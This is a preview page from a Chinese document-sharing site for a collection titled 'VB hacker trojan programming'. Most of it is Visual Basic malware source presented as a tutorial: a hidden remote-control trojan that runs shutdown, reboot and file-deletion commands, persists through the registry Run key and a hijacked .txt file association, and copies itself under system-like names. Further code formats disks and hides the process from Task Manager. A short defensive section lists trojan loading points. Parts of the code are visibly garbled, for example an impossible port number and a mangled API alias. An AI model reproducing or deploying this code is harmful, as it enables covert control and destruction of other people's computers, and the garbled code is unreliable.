ImageVerifierCode 换一换
格式:DOC , 页数:33 ,大小:158KB ,
资源ID:7690492      下载积分:10 金币
快捷注册下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

开通VIP
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.zixin.com.cn/docdown/7690492.html】到电脑端继续下载(重复下载【60天内】不扣币)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

开通VIP折扣优惠下载文档

            查看会员权益                  [ 下载后找不到文档?]

填表反馈(24小时):  下载求助     关注领币    退款申请

开具发票请登录PC端进行申请

   平台协调中心        【在线客服】        免费申请共赢上传

权利声明

1、咨信平台为文档C2C交易模式,即用户上传的文档直接被用户下载,收益归上传人(含作者)所有;本站仅是提供信息存储空间和展示预览,仅对用户上传内容的表现方式做保护处理,对上载内容不做任何修改或编辑。所展示的作品文档包括内容和图片全部来源于网络用户和作者上传投稿,我们不确定上传用户享有完全著作权,根据《信息网络传播权保护条例》,如果侵犯了您的版权、权益或隐私,请联系我们,核实后会尽快下架及时删除,并可随时和客服了解处理情况,尊重保护知识产权我们共同努力。
2、文档的总页数、文档格式和文档大小以系统显示为准(内容中显示的页数不一定正确),网站客服只以系统显示的页数、文件格式、文档大小作为仲裁依据,个别因单元格分列造成显示页码不一将协商解决,平台无法对文档的真实性、完整性、权威性、准确性、专业性及其观点立场做任何保证或承诺,下载前须认真查看,确认无误后再购买,务必慎重购买;若有违法违纪将进行移交司法处理,若涉侵权平台将进行基本处罚并下架。
3、本站所有内容均由用户上传,付费前请自行鉴别,如您付费,意味着您已接受本站规则且自行承担风险,本站不进行额外附加服务,虚拟产品一经售出概不退款(未进行购买下载可退充值款),文档一经付费(服务费)、不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
4、如你看到网页展示的文档有www.zixin.com.cn水印,是因预览和防盗链等技术需要对页面进行转换压缩成图而已,我们并不对上传的文档进行任何编辑或修改,文档下载后都不会有水印标识(原文档上传前个别存留的除外),下载后原文更清晰;试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓;PPT和DOC文档可被视为“模板”,允许上传人保留章节、目录结构的情况下删减部份的内容;PDF文档不管是原文档转换或图片扫描而得,本站不作要求视为允许,下载前可先查看【教您几个在下载文档中可以更好的避免被坑】。
5、本文档所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用;网站提供的党政主题相关内容(国旗、国徽、党徽--等)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
6、文档遇到问题,请及时联系平台进行协调解决,联系【微信客服】、【QQ客服】,若有其他问题请点击或扫码反馈【服务填表】;文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“【版权申诉】”,意见反馈和侵权处理邮箱:1219186828@qq.com;也可以拔打客服电话:0574-28810668;投诉电话:18658249818。

注意事项

本文(vb黑客木马编程(大全).doc)为本站上传会员【xrp****65】主动上传,咨信网仅是提供信息存储空间和展示预览,仅对用户上传内容的表现方式做保护处理,对上载内容不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知咨信网(发送邮件至1219186828@qq.com、拔打电话4009-655-100或【 微信客服】、【 QQ客服】),核实后会尽快下架及时删除,并可随时和客服了解处理情况,尊重保护知识产权我们共同努力。
温馨提示:如果因为网速或其他原因下载失败请重新下载,重复下载【60天内】不扣币。 服务填表

vb黑客木马编程(大全).doc

1、VB黑客编程基础 一. 调用系统“创建快捷方式”向导   是否为VB不支持创建快捷方式而于着急呢?虽然 您可以调用vb5stkit.Dll中的fCreateShellLink函 数,但它是为安装程序设计的,快捷方式的默认路径 总是从当前用户的“\Start Menu\Programs”开始,也 就是说,如果您的Windows95装在C盘上,您无法通过 fCreateShellLink函数把快捷方式创建到D盘上去。   现在,给大家介绍一种极为方便、巧妙的方法: 用Shell语句调用系统“创建快捷方式”向导。   新建一个项目,在窗体上放一个按钮,双击此按 钮,加入

2、以下代码:   Private Sub Command1_Click()   Open App.Path & "\temp.lnk" For Output As #1   Close #1 '以上两句在程序所在目录建立一 个临时文件   Shell "Rundll32.exe AppWiz.Cpl,NewLinkHere   "& App.Path & "\temp.lnk"   End Sub   (注意:Shell语句中NewLinkHere后面跟着一个 空格才是引号,否则将出错。)   运行程序,按一下命令按钮,怎么样?“创

3、建快 捷方式”向导出现了,如果创建成功,快捷方式将取 代临时文件temp.lnk的位置,如果选取消,temp.lnk 也会自动消失。当然,您可以在硬盘的任意位置建立 temp.lnk。好,现在又可以为您的程序增添一项新功 能了。Enjoy!   二. Rundll32.exe的用途   我们知道,用Shell语句只能调用可执行文件,即 exe、com、bat和pif文件,有时我们想要调用其他一 些系统功能该怎么办呢?此时,Windows提供的 Rundll32.exe可大显身手了。下面我们来认识一下这 些用法,也许会给您带来一点惊喜。   1.要打开设置系统时间的控制面

4、板文件 (Timedate.cpl),只需运行如下代码:   Shell "Rundll32.exe   Shell32.dll,Control_RunDLL Timedate.cpl"   至于打开其他控制面板文件,相信您一定能够举 一反三,尝试一下,换个文件名就成了。   2.要运行某一快捷方式(*.lnk)则可以用以下 代码:   She11 "Rundll32.exe url.dll, FileProtocolHandler X" (X代表要运行的文件,包括 路径,下同。   3. 也可以这样写来打开ActiveMovie控制:

5、  Shell "RUNDLL32.EXE amovie.ocx,Rundll",1   而用Shell "RUNDLL32.EXE amovie.ocx,Rundll /play X",1 将直接播放媒体文件。   4. Shell "rundll32.exe desk.cpl,InstallScreenSaver X”当然是安装屏幕保 护啦,如果你写了一个屏幕保护程序,那么可以在安 装程序中写上它,而不一定要装到system目录下。顺 便提一下,VB不是自捞一个“Application Setup Wizard”么?它的VB源代码都在安装目录下的 “\setupkit\se

6、tup1”中放着呢,好好把它研究一下。 你完全能做出富有个性的安装程序来。   5.按住shift键,右击某一文件,菜单中会出现 “打开方式”选项,这也许已不是什么秘密。但现在, 用shell "rundll32.exe shell32.dll OpenAs_RunDLL X" 便能直接调用“打开方式”框。   6. 甚至能用这样一句来打印文件(包括HTML所 支持的所有文本与图像格式):   Shell "rundll32.exe MSHTML.DLL,PrintHTML X”, 1   怎么样?是不是小有收获呢?这下,您一定会对 Rundll32.exe这个

7、平时不起眼的文件另眼相待了,它 可是系统运行必不可少的部件呢!其实 Shell+Rundll32还能调用其他许多系统功能,比如关 于NetMeeting和Telnet方面的。如果您有兴趣,可以 到往册表的“我的电脑\HKEY_CLASSES_ROOT\”或“我 的电脑\HKEY_LOCAL_MACHINE\Software\CLASSES”下 去看看,本文的内容大都是从那里“抄”来的。只要 有足够的决心、信心、耐心,您一定能发现更多有价 值的东西。Good luck! 主要也就 /showerr.asp?BoardID=0&ErrCodes=60

8、60&action= 再起作用 程序所有代码仅此两段 Private Sub Command1_Click() WebBrowser1.Navigate (Text1.Text + "/showerr.asp?BoardID=0&ErrCodes=60,60&action=") End Sub Private Sub Command2_Click() End End Sub 程序下载. 首先,新建一工程,名为Server,新建一个窗体,Name为Server,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。

9、   接下来我们回来Server窗体模块中,添加如下代码: Private Sub form_Load()  With Me   .sckServer.LocalPort = 88917'本地端口(呵呵!我的生日!)   .sckServer.Listen '开始监听  End With End Sub '接受客户端的连接请求。 Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)  With Me   If .sckServer.State <>sckClos

10、ed Then .sckServer.Close   .sckServer.Accept (requestID)  End With End Sub   下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为Client,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码: Private Sub form_Load()  With Me   .sckClient.RemoteHost = "127.0.0.1"'设置远程IP,本例设为本机。   .sck

11、Client.RemotePort = 88917 '远程端口,就为server中的设置一样.  End With End Sub Private sub cmdConnect_Click()  SckClient.Connect End sub   至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。   这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,本文章只

12、实现一点小小的功能―――关机,重启,注销。好,开始吧!   在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数: Public Declare Function ExitWindowXXX Lib "user32" Alias "ExitWindowXXX" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long Public Const EWX_LOGOFF = 0 Public Const EWX_REBOOT = 2 Public Const EW

13、X_SHUTDOWN = 1 Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long Public Type RECT  Left As Long  Top As Long  Right As Long  Bottom As Long End Type   注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。   下面在Client工程的Client窗体中放入三个按钮,分别为

14、cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码: Private Sub cmdExit_Click()  Me.sckClient.SendData "Exit" End Sub Private Sub cmdLogoff_Click()  Me.sckClient.SendData "Logoff" End Sub Private Sub cmdReboot_Click()  Me.sckClient.SendData "Reboot" End Sub   全都是对服务

15、端发出请求。下面转到Server工程中:在Server中添加sckServer的DataArrial事件,接收客户端的请求。 Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)  Dim strData As String  With Me   ' 接收客户请求的信息   .sckServer.GetData strData   Select Case strData    Case "Exit"     '关机     Call ExitWindowXXX(EWX_SHUTDOWN,

16、0)    Case "Reboot"     '重启     Call ExitWindowXXX(EWX_REBOOT, 0)    Case "Logoff"     '注销    Call ExitWindowXXX(EWX_LOGOFF, 0)   End Select  End With End Sub   好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在Server中的form_Load事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册

17、表的启动组中?对,不错,跟我来吧!   回到Server工程中的modApi中加入如下API函数: Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKe

18、y As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Cons

19、t REG_BINARY = 3 Public Const REG_SZ = 1 Public Const HKEY_LOCAL_MACHINE = &H80000002 Public Const HKEY_CLASSES_ROOT = &H80000000   写到注册表启动组中的过程。 Public Sub StartupGroup()  Dim sKey As String  Dim result As Long  Dim hKeyID As Long  Dim sKeyVal As String  sKey = "S

20、ystrsy" '启动组中的键,找一个与系统文件相近的。  sKeyVal = "C:/windows/system/systrsy.exe" '木马文件的路径,可以用GetSystemDirectory来取得系统路径。  result = RegOpenKey(HKEY_LOCAL_MACHINE, _     "Software/Microsoft/Windows/CurrentVersion/Run", hKeyID)  If result = 0 Then   result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKey

21、Val, Len(sKey) + 1)  End If End Sub   好,就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码: Public Sub WriteToTxt()  Dim result As Long  Dim hKeyID As Long  Dim skey As String  Dim skeyVal As String  skey = "txtfile/shell/open/command"  skeyVal

22、 = "C:/windows/system/txtView.exe"  result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)  If result = 0 Then   result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, skeyVal, Len(skeyVal) + 1)  End If End Sub   肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:/windows/system/txtView.exe是哪里来的,我们的木马是C

23、/windows/system/systrsy.exe呀。这可是我们木马的分身了。   好,回到Server工程的Server窗体的form_Load中,加入如下代码: Dim sCurrentPath As String, sSystemDir As String sCurrentPath = App.Path & "/" & App.EXEName & ".exe" sSystemDir = “C:/windows/system” On Error Resume Next  '复制文件成系统目录下的Systrsy.exe  FileCopy sCu

24、rrentPath, sSystemDir & "/Systrsy.exe" On Error Resume Next 复制文件成系统目录下的txtView.exe FileCopy sCurrentPath, sSystemDir & "/txtView.exe"   调用 Call startupGroup Call WriteToTxt '判断程序是否下在运行 If App.PrevInstance Then  '如果已经运行就退出。 End End If   好了,写到这里一个破坏性木马已经诞生了,我实

25、验过还是比较好的一个,希望大家也能写一个好的木马,能突破冰河(呵呵!)   注意:   1、大家在处理端口是最好使用高端端口,否则会和一些常用端口发生冲突   2、在第一次使用VB.NET的最好看看有关的图书,可能你能写出一款超级木马也说 你可以使用API函数FindWindow和PostMessage去寻找指定的窗口,并关闭它。下面的例子教给你怎样找到并关掉一个Caption为“Caluclator”的程序。   Dim winHwnd As Long Dim RetVal As Long winHw

26、nd = FindWindow(vbNullString, "Calculator") Debug.Print winHwnd If winHwnd <> 0 Then RetVal = PostMessage(winHwnd, WM_CLOSE, 0&, 0&) If RetVal = 0 Then MsgBox "置入消息错误!" End If Else MsgBox "Calculator没有打开!" End If   为了让以上的代码工作,你必须在模块文件中什么以下API函数:   Declare Funct

27、ion FindWindow Lib "user32" Alias _ "FindWindowA" (ByVal lpClassName As String, _ ByVal lpWindowName As String) As Long Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, lParam As Any) As Long Public

28、Const WM_CLOSE = &H10 网络是互联的,当你从中获取资源的同时,也要经受其中的考验,木马程序会修改并破坏电脑的系统和文件,除了安装杀毒软件(包括防火墙)外,还应该尽可能地掌握系统文件知识。下面简单介绍一下木马的加载方式:   加载方式:定位于System.ini和Win.ini文件   System.ini(位置C:\windows\)   [boot]项原始值配置:“shell=explorer.exe”,explorer.exe是Windows的核心文件之一,每次系统启动时,都会自动加载。   [boot]项修改后配置:“

29、shell=explorer C:\windows\xxx.exe”(xxx.exe假设一木马程序)。   Win.ini(位置C:\windows\)   [windows]项原始值配置:“load=”;“run=”,一般情况下,等号后无启动加载项。   [windows]项修改后配置:“load=”和“run=”后跟非系统、应用启动文件,而是一些你不熟悉的文件名。   解决办法:   执行“运行→msconfig”命令,将System.ini文件和Win.ini文件中被修改的值改回原值,并将原木马程序删除。若不能进入系统,则在进入系统前按“Shift+F5”进

30、入Command Prompt Only方式,分别键入命令edit system.ini和edit win.ini进行修改。   加载方式:隐藏在注册表中(此方式最为隐蔽)。   注意以下注册表项:HKEY LOCAL MACHINE\Software\classes\exefile\shell\open\command\   原始数值数据:"%1"%   被修改后的数值数据:C:\system\xxx.exe "%1"%   原注册表项是运行可执行文件的格式,被修改后就变为每次运行可执行文件时都会先运行C:\system\xxx.exe这个程序。   

31、例如:开机后运行QQ主程序时,该xxx.exe(木马程序)就先被加载了。   解决办法:   当通过防火墙得知某端口被监听,立即下线,检查注册表及系统文件是否被修改,找到木马程序,将其删除。   所谓“病从口入” 感染源还是在于加载了木马程序的服务器端。目前,伪装可执行文件图标的方法很多,如:修改扩展名,将文件图标改为文件夹的图标等,并隐藏扩展名,因此接收邮件和下载软件时一定要小心。许多木马程序的文件名很像系统文件名,造成用户对其没有把握,不敢随意删除,因此要不断增长自己的知识才可防备万一。   可以借助一些软件来狙击木马,如:The Cleaner、Trojan Re

32、mover等。建议经常去微软网站下载补丁包来修补系统;及时升级病毒库 BO又称“特洛伊木马”, 是在美国一次黑客技术讨论会上由一个黑客组织推出的。它其实是一种客户机/服务器程序,其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。 ---- 使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。 ---- 在Client工程中建立一个窗体,加载WinSock控件,称为tcp

33、Client,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下: Private Sub cmdConnect_Click() If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then MsgBox ("请输入主机名或主机IP地址。") Exit Sub Else If Len(Text1.Text) > 0 Then tcpClient.RemoteHos

34、t = Text1.Text Else tcpClient.RemoteHost = Text2.Text End If End If tcpClient.Connect Timer1.Enabled = True End Sub ---- 连接建立之后就可以使用DataArrival事件处理所收到的数据了。 ---- 在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码: P

35、rivate Sub Form_Load() tcpServer.LocalPort = 1999 tcpServer.Listen End Sub ---- 准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下: Private Sub tcpServer_ConnectionRequest (ByVal requestID As Long) If tcpServer.State < > sckClosed Then tcpServer.Close‘检查控件的 State 属

36、性是否为关闭的。 End If '如果不是,在接受新的连接之前先关闭此连接。 tcpServer.Accept requestID End Sub ---- 这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。 ---- 建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制

37、关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下: Private Sub tcpServer_DataArrival (ByVal bytesTotal As Long) Dim strData

38、As String Dim i As Long Dim mKey As String tcpServer.GetData strData ‘接收数据并存入strData For i = 1 To Len(strData) ‘分离strData中的命令 If Mid(strData, i, 1) = "@" Then mKey = Left(strData, i - 1) ‘把命令ID号存入mKey ‘把命令参数存入strData strData = Right(strData, Len(s

39、trData) - i) Exit For End If Next i Select Case Val(mKey) Case 1 ‘驱动器名、目录名、文件名 Case 2 强制关闭服务器端的计算机 Case 3 强制重启服务器端的计算机 Case 4 屏蔽任务栏窗口; Case 5 屏蔽开始菜单;

40、 Case 6 按照客户机端传过来的文件名或目录名,而删除它; Case 7 屏蔽热启动键; Case 8 运行服务器端的任何程序 End Select End Sub 详细程序略。 ---- 客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。 ---- 另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求

41、其代码如下: Private Sub tcpServer_Close() tcpServer.Close tcpServer.Listen End Sub ---- 这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。 ---- 成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。 软盘是数据的

42、常用载体,我们的软件可能会提供用户将数据备份到软盘上的功能。为避免软盘上有带有病毒的文件,最安全的办法就是提醒用户将软盘格式化。    Visual Basic可以通过调用API函数格式化一个磁盘,无论是软盘还是硬盘。    打开一个新的项目(project1) ,如果你没有更改过缺省模式,那么Visual Basic会自动添加一个form1文件,在form1上添加一个命令控件,将下面的代码拷入。   Option Explicit    Private Declare Function SHFormatDrive Lib"shell32"_     ( B

43、yVal Hend AS Long,_      ByVal Drive AS Long,_      ByVal FormatID AS Long,_      ByVal Options AS Long) as Long    Private Sub FormatDisk(intDrive as integer,blnQuickFormat as Boolean)     dim lngReturn As Long;     if (blnQuickFormat) then      lngReturn= SHFormatDrive(0,intDrive

44、0&,1&)     else      lngReturn= SHFormatDrive(0,intDrive,0&,0&)     end if    end Sub    Private Sub Command1_Click()     call FormatDisk(0,True)    End Sub    运行此程序。    这里有必要提醒读者注意的是,FormatDisk函数的第一个变量很重要,他的值是0,1,2时代表格式化的分别是:A、B、C盘。    注意:读者使用此程序作练习的时候千万不要用硬盘作实验,笔者不为可能

45、发生的错误和损失负责 在一些系统,为了特定目的,经常要求程序隐藏起来运行,例如DCS(集散控制系统)中的后台监控系统、木马控制程序、源码防拷贝等,以减少被发现、截杀和反汇编的风险。这种功能模块要求程序在运行期间不仅不会在桌面出现,也不允许被操作者从任务管理器列表中发现。 程序隐形的原理    对于一个隐形程序而言,最基本的要求是:    1. 不在桌面出现界面;    2. 不在任务栏出现图标;    3. 程序名从任务管理器名单中消失。    对于上述第一点,可以将Form的Visible属性设为False。

46、   要将图标从任务栏中屏蔽掉,可以把Form的ShowInTaskBar改为False。    在Windows环境下,可以调用WIN API函数中的RegisterviceProcess来实现第三个要求。    上述功能,不论用VC、Delphi、VB,还是PB等任何一种高级编程语言都是比较容易实现的。    隐形功能多用于木马程序,但木马程序在许多国家和地区是不合法的,为便于理解,本文用VB结合一个程序防拷贝的实例来讲解。通过获取软件安装路径所在磁盘序列号(磁盘ID),用做对合法用户的判断。以下程序的目的是用于讲解隐形程序的编制和应用,对程序防拷贝内容作了一定程度

47、的简化。 程序隐形的示例    程序的具体编制操作如下:    1. 在VB6.0编程环境中,新建一个工程Project1。    2. 在Project1中添加模块Modulel,在工程属性中将工程名称改为HiddenMen,应用程序标题也改为HiddenMen(以下程序都经过实际运行测试,可以原样复制使用)。    在模块Module1中加入如下声明: Public Declare Function GetCurrentProcessId Lib “kernel32” () As Long '获得当前进程ID函数的声明 Public

48、Declare Function RegisterServiceProcess Lib “kernel32” (ByVal ProcessId As Long, ByVal ServiceFlags As Long) As Long '在系统中注册当前进程ID函数的声明    3. 在Project1中新建一个窗体Form1,设置Form1的属性: form1.Visible=False form1.ShowInTaskBar=False    在代码窗口添加如下代码: Private Declare Function GetDriveType Li

49、b “kernel32” Alias “GetDriveTypeA” (ByVal nDrive As String) As Long '获得当前驱动器类型函数的声明 Private Declare Function GetVolumeInformation Lib “kernel32” Alias “GetVolumeInformationA” (ByVal lpRootPathName As String, ByVal lpVolumeNameBuffer As String, ByVal nVolumeNameSize As Long, lpVolumeSerialNumber

50、As Long, lpMaximumComponentLength As Long, lpFileSystemFlags As Long, ByVal lpFileSystemNameBuffer As String, ByVal nFileSystemNameSize As Long) As Long '获得当前驱动器信息函数的声明 Private Sub Form_Load() Dim drive_no As Long, drive_flag As Long Dim drive_chr As String, drive_disk As String Dim serial

移动网页_全站_页脚广告1

关于我们      便捷服务       自信AI       AI导航        抽奖活动

©2010-2026 宁波自信网络信息技术有限公司  版权所有

客服电话:0574-28810668  投诉电话:18658249818

gongan.png浙公网安备33021202000488号   

icp.png浙ICP备2021020529号-1  |  浙B2-20240490  

关注我们 :微信公众号    抖音    微博    LOFTER 

客服